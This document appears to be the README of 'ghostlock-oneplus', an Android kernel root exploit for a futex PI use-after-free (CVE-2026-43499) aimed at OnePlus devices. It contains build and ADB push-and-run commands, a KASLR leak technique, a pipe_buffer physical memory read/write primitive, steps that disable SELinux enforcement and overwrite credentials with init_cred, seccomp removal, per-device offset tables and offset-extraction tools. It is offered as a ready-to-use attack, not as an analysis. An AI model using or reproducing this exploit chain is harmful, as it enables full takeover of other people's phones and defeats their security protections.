futex PI UAF (CVE-2026-43499)
  ├─ Forjar objeto rt_mutex_waiter
  ├─ Controlar pilha do kernel via layout de fd_set do pselect/select
  ├─ Acionar operação rt_mutex PI para escrita arbitrária
  ├─ Escrita 1: selinux_state.enforcing = 0
  └─ Escrita 2: cred → init_cred (uid=0, capacidades completas)

# Padrão (API 35)
make

# Especificar nível da API
make API=34

# Especificar caminho do NDK
NDK=/caminho/para/android-ndk make

# 1. Habilitar modo ADB TCP
adb tcpip 5555

# 2. Enviar chave ADB (necessária para modo bootstrap)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# 3. Enviar o exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e

/data/local/tmp/a/e

/data/local/tmp/a/e --bootstrap

/data/local/tmp/a/e --write1

static const struct kernel_offsets known_offsets[] = {
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
  OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
  { .uname_r = NULL }  /* sentinela */
};

Ler /proc/sys/kernel/random/boot_id
  └─ UUID contém endereço de nfulnl_logger
      └─ Deslocamento KASLR = leaked_addr - image_offset
          └─ kaslr_base

1. Localizar buffer de pipe no physmap
2. Forjar tabela de operações pipe_buffer apontando para pipe_buf_ops conhecido
3. Sequestrar pipe_buffer.page para endereço físico alvo
4. Leitura/escrita física arbitrária via operações normais de pipe

Alvo: selinux_state.enforcing (offset 0x00)
Método: escrita PI do nó filho → forjar __rb_parent_color do waiter
        apontando para selinux_enforcing - 8
        rebalanceamento da rb-tree escreve 0x00

Alvo: ponteiro cred do processo filho
Método: 1. fork filho → perf_find_task() localizar task_struct
        2. calcular offset do campo cred
        3. escrita PI do nó filho → cred = init_cred (uid=0, caps completas)
        4. limpar seccomp (TIF_SECCOMP + struct seccomp zerada)

1. TCP connect 127.0.0.1:5555
2. A_CNXN → solicitação de conexão
3. A_AUTH → desafio token RSA
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → resposta assinada
6. A_CNXN → conexão estabelecida
7. A_OPEN "shell:/data/local/tmp/a/e" → exploit completo

ghostlock-oneplus/
├── Makefile                        # Configuração de compilação (cross-compilação NDK)
├── README.md                       # Documentação
├── src/
│   ├── core/                       # Código principal do exploit
│   │   ├── main.c                  # Ponto de entrada: escrita em duas etapas + shell root
│   │   ├── fops.c                  # Modo FOPS/CFI: rota pselect, escrita PI, vazamento KASLR
│   │   ├── util.c                  # Utilitários: heap spray, KASLR, primitivas R/W do kernel
│   │   ├── slide.c                 # Modo SLIDE: vazamento KASLR via boot_id + rota pselect
│   │   ├── pipe.c                  # Leitura/escrita física de memória via buffer de pipe (physrw)
│   │   ├── root.c                  # Sobrescrita de cred, limpeza de seccomp, gerenciamento de filho root
│   │   ├── miniadb.c              # Cliente ADB embutido (TCP + autenticação RSA)
│   │   ├── common.h               # Macros globais, structs, declarações, constantes
│   │   ├── target.h               # Layout de memória alvo / offsets de struct / parâmetros KASLR
│   │   ├── offset.h               # Ponte de configuração alvo em tempo de compilação (#include TARGET_CONFIG_H)
│   │   └── kernelsnitch/          # KernelSnitch — vazamento de endereço mm_struct
│   │       ├── kernelsnitch.h     # Algoritmo principal: colisão de hash futex + força bruta
│   │       ├── futex_hash.h       # Função hash futex
│   │       ├── timeutils.h        # Medição de timestamp de CPU (RDTSC)
│   │       └── utils.h            # Macros auxiliares (pr_info / SYSCHK / ASSERT etc.)
│   └── devices/                   # Tabelas de offset por dispositivo
│       ├── offsets.h              # Agrega todos os offsets de dispositivos (tabela de consulta + sentinela)
│       ├── ace6t/offsets.h        # Offsets do OnePlus Ace 6T (2 versões de kernel)
│       └── op15/offsets.h         # Offsets do OnePlus 15 (1 versão de kernel)
└── tools/                         # Ferramentas de extração de offsets
    ├── extract_target.py          # Extrair offsets de símbolos globais kallsyms (28 itens)
    └── extract_btf.py             # Extrair offsets de campos de struct BTF (57 itens)

# 1. Extrair kernel do boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
           open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. Obter kallsyms (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
#    Ou do vmlinux: nm vmlinux > kallsyms.txt

# 3. Extrair offsets de símbolos globais
python tools/extract_target.py     # 28 offsets, verificado automaticamente

# 4. Extrair offsets de campos de struct
python tools/extract_btf.py kernel  # 57 offsets, verificado automaticamente